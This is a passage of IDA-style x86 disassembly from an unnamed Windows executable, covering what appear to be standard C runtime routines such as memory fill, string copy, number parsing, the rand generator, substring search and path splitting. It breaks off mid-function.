arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB32C push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC948 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC940 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C324 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC944 nop call near ptr 27C0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C534, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C534, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A2CC test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2F0, edi jnz short loc_41B7F0 push [esp+4+arg_0] call near ptr 271069Dh nop push eax nop call near ptr 270099Bh loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2EC, edi mov byte_4DB2E8, bl jnz short loc_41B844 mov eax, dword_4DC95C test eax, eax jz short loc_41B833 mov ecx, dword_4DC958 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC95C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2F0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A2B0, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A2B0 imul eax, 343FDh add eax, 269EC3h mov dword_43A2B0, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC821[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C534, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C534, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C534, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C328 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], 